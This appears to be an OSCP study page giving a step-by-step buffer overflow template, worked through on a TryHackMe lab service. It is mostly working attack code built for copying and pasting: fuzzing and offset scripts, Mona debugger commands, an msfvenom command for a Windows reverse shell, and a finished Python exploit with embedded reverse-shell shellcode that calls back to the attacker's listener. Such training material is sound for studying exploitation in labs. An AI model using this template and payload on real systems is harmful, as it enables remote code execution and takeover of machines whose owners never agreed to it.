# Buffer Overflow Framework

*The below steps condensed into a table in a word document:*

{% file src="<https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXlKAJokz4pt-tcZlh2%2F-MXlKsDUUhv639xCQIlA%2FBuffer_Overflow_Template.docx?alt=media&token=ab8ee51d-648d-4d3e-b399-f1e3e2adcf26>" %}

## Overview

Once an initial understanding of of how to perform stack-based buffer overflows is obtained, use this template to ensure no steps are missed and commands can easily be copy/pasted.

Refer to buffer [overflow external resources](https://blog.blakejarvis.com/oscp/external-resources#buffer-overflow) for more cheat sheets and the buffer overflow TryHackMe room.

TryHackMe room [bufferoverflowprep](https://tryhackme.com/room/bufferoverflowprep) Task 1 is used as an example in the below steps.

{% hint style="success" %}
Identifying bad chars with Immunity's Mona (step 5) is the most significant tool I learned that was not covered in the OSCP labs or other common resources.
{% endhint %}

### 1. Identify Buffer Size

{% hint style="info" %}
In the OSCP exam, fuzzing is not required and this step can be skipped since it is assumed a buffer of 2000 characters (example used below) overflows the application.
{% endhint %}

An example/test script that overflows the application buffer is provided similar to the following:

{% code title="overflow1.py" %}

```python
import socket, time, sys

ip = sys.argv[1]
port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 2000

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

The application overflows at 2000 characters with the EIP overwritten by `\x41\x41\x41\x41` (i.e. AAAA).

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt1g2v6ungAp33WGU4%2F-MXt570ZRvWFb3iAPi1S%2Fimage.png?alt=media\&token=4d445fd6-ed94-45d3-9299-fd924ab49ff1)

### 2. Find EIP Point

Replace the `buffer` variable above with the output of the following:

{% code title="kali\@kali" %}

```bash
msf-pattern_create -l 2000
```

{% endcode %}

{% code title="overflow2.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

string = pattern

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

When ran, the application crashes. Capture the value of EIP as `6F43396E`.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt1g2v6ungAp33WGU4%2F-MXt5lmcawyiKvPvzOd0%2Fimage.png?alt=media\&token=55238450-3b21-4f7c-b676-80379e2e31c0)

### 3. Get Offset

Use the EIP value and find the offset:

{% code title="kali\@kali" %}

```python
msf-pattern_offset -l 1500 -q 6F43396E
```

{% endcode %}

### 4. Get Controllable Char Length

Add `"post" = "D" * 500` to the payload to ensure there is enough space for shellcode after the application is overflowed.

{% code title="overflow4.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = "D" * 500

string = pre + eip + offset + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

As displayed in the stack view, there is more than enough room for shellcode to be placed after the EIP value.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt5r360krZJv8EB-k_%2F-MXt7SC0DUruqF5zuW5r%2Fimage.png?alt=media\&token=19a3b7fc-38a4-4990-b597-de84ef2c892d)

### 5. Identify Bad Chars

Replace the "post" parameter with a badchar array and run the application.

{% hint style="danger" %}
Remove \x00 from the starting badchars array before testing, as this will always be a bad character.
{% endhint %}

{% code title="overflow5.py" %}

```python
 import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

#chars removed: \x00
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = badchars

string = pre + eip + offset + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

Use the mona debugger within Immunity to identify badchars by setting the mona working directory, creating a bytearray matching the bytearray used in the above python script, and using the ESP value to compare the two and find discrepancies (i.e. badchars).

{% code title="Immunity Debugger" %}

```python
!mona config -set workingfolder c:\windows\temp\
!mona bytearray -b "\x00" 
!mona compare -f C:\windows\temp\bytearray.bin -a [esp value]
```

{% endcode %}

Badchars will be boxed in the mona display. Note the subsequent character is always affected and is usually not a badchar. Remove the badchars from the array and retest.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt7qIPm3mDXAW5qbwb%2F-MXt8NpNSoR6g5od8A23%2Fimage.png?alt=media\&token=371b3cc3-9e00-4b85-b3c5-abba16d1a79e)

{% hint style="warning" %}
Once badchars are identified and removed from the badchar array, complete this step again to ensure all badchars are removed.
{% endhint %}

### 6. Find JMP ESP

Identify shellcode for a JMP ESP instruction as `\xff\xe4`:

{% code title="kali\@kali" %}

```python
msf-nasm_shell
nasm > JMP ESP
00000000  FFE4              jmp esp
```

{% endcode %}

Find safe DLLs without ASLR and other stack overflow mitigations. Run the below command after Immunity is attached to the application but before the application is unpaused.

{% code title="Immunity Debugger" %}

```python
!mona modules
```

{% endcode %}

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt9B2IsRgmeahrC5DU%2F-MXt9Q_CVOdYWEJmzlzE%2Fimage.png?alt=media\&token=6497257d-f379-4a92-a246-424ac2d497cb)

{% code title="Immunity Debugger" %}

```python
!mona find -s "\xff\xe4" -m "oscp.exe"
!mona find -s "\xff\xe4" -m "essfunc.dll"
```

{% endcode %}

Multiple suitable addresses are identified in `essfunc.dll`that do not contain badchars.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt9B2IsRgmeahrC5DU%2F-MXt9s8DHkQPY-P7937n%2Fimage.png?alt=media\&token=5a710e4b-bdc4-4eff-9b78-fdb9514a4d99)

The identified address `0x625011af` is used. Place in the python script in reverse as: `"\xaf\x11\x50\x62`.&#x20;

### 7. Generate Shellcode

{% code title="kali\@kali" %}

```bash
msfvenom -p windows/shell_reverse_tcp lport=53 lhost=10.6.51.138 -f c -b "\x00\x07\2e\xa0" EXITFUNC=thread
```

{% endcode %}

{% hint style="warning" %}
Don't specify an encoder (e.g. x86/shikata\_ga\_nai). msfvenom will pick one for you.
{% endhint %}

### 8. Add NOPs

Add 10 `\x90` nops (line 38, 40) to the payload after the EIP to ESP offset and before the shellcode payload.

{% code title="overflow8.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

#chars removed \x00\x07\x2e\xa0
#msfvenom -p windows/shell_reverse_tcp lhost=10.6.51.138 lport=53 -f c -b "\x00\x07\x2e\xa0" EXITFUNC=thread
payload = ("\xdb\xc4\xbb\x43\xbc\x49\x27\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
           "\x52\x31\x5f\x17\x03\x5f\x17\x83\x84\xb8\xab\xd2\xf6\x29\xa9"
           "\x1d\x06\xaa\xce\x94\xe3\x9b\xce\xc3\x60\x8b\xfe\x80\x24\x20"
           "\x74\xc4\xdc\xb3\xf8\xc1\xd3\x74\xb6\x37\xda\x85\xeb\x04\x7d"
           "\x06\xf6\x58\x5d\x37\x39\xad\x9c\x70\x24\x5c\xcc\x29\x22\xf3"
           "\xe0\x5e\x7e\xc8\x8b\x2d\x6e\x48\x68\xe5\x91\x79\x3f\x7d\xc8"
           "\x59\xbe\x52\x60\xd0\xd8\xb7\x4d\xaa\x53\x03\x39\x2d\xb5\x5d"
           "\xc2\x82\xf8\x51\x31\xda\x3d\x55\xaa\xa9\x37\xa5\x57\xaa\x8c"
           "\xd7\x83\x3f\x16\x7f\x47\xe7\xf2\x81\x84\x7e\x71\x8d\x61\xf4"
           "\xdd\x92\x74\xd9\x56\xae\xfd\xdc\xb8\x26\x45\xfb\x1c\x62\x1d"
           "\x62\x05\xce\xf0\x9b\x55\xb1\xad\x39\x1e\x5c\xb9\x33\x7d\x09"
           "\x0e\x7e\x7d\xc9\x18\x09\x0e\xfb\x87\xa1\x98\xb7\x40\x6c\x5f"
           "\xb7\x7a\xc8\xcf\x46\x85\x29\xc6\x8c\xd1\x79\x70\x24\x5a\x12"
           "\x80\xc9\x8f\xb5\xd0\x65\x60\x76\x80\xc5\xd0\x1e\xca\xc9\x0f"
           "\x3e\xf5\x03\x38\xd5\x0c\xc4\x4d\x2c\x3d\x9e\x3a\x32\x41\x9e"
           "\x8f\xbb\xa7\xf4\xff\xed\x70\x61\x99\xb7\x0a\x10\x66\x62\x77"
           "\x12\xec\x81\x88\xdd\x05\xef\x9a\x8a\xe5\xba\xc0\x1d\xf9\x10"
           "\x6c\xc1\x68\xff\x6c\x8c\x90\xa8\x3b\xd9\x67\xa1\xa9\xf7\xde"
           "\x1b\xcf\x05\x86\x64\x4b\xd2\x7b\x6a\x52\x97\xc0\x48\x44\x61"
           "\xc8\xd4\x30\x3d\x9f\x82\xee\xfb\x49\x65\x58\x52\x25\x2f\x0c"
           "\x23\x05\xf0\x4a\x2c\x40\x86\xb2\x9d\x3d\xdf\xcd\x12\xaa\xd7"
           "\xb6\x4e\x4a\x17\x6d\xcb\x6a\xfa\xa7\x26\x03\xa3\x22\x8b\x4e"
           "\x54\x99\xc8\x76\xd7\x2b\xb1\x8c\xc7\x5e\xb4\xc9\x4f\xb3\xc4"
           "\x42\x3a\xb3\x7b\x62\x6f")

pre = "A" * 1978
eip = "\xaf\x11\x50\x62" #0x625011af
offset = "C" * 0
nops = "\x90" * 10
post = payload
string = pre + eip + offset + nops + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

### 9. Listen for Shell

Set up a kali listener:

{% code title="kali\@kali" %}

```bash
sudo nc -nvlp 53
```

{% endcode %}

### 10. Run the Exploit

{% hint style="info" %}
Set an Immunity breakpoint at the JMP ESP value and ensure execution flow is halted and the breakpoint is hit when the exploit is ran.
{% endhint %}

{% code title="kali\@kali" %}

```bash
python overflow8.py
```

{% endcode %}

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXtBQdceZujNy7BGe6I%2F-MXtEHtJNgDWlTjwu7Dc%2Fimage.png?alt=media\&token=b614d413-f6c2-4d45-82d4-9c92ef1a0aff)
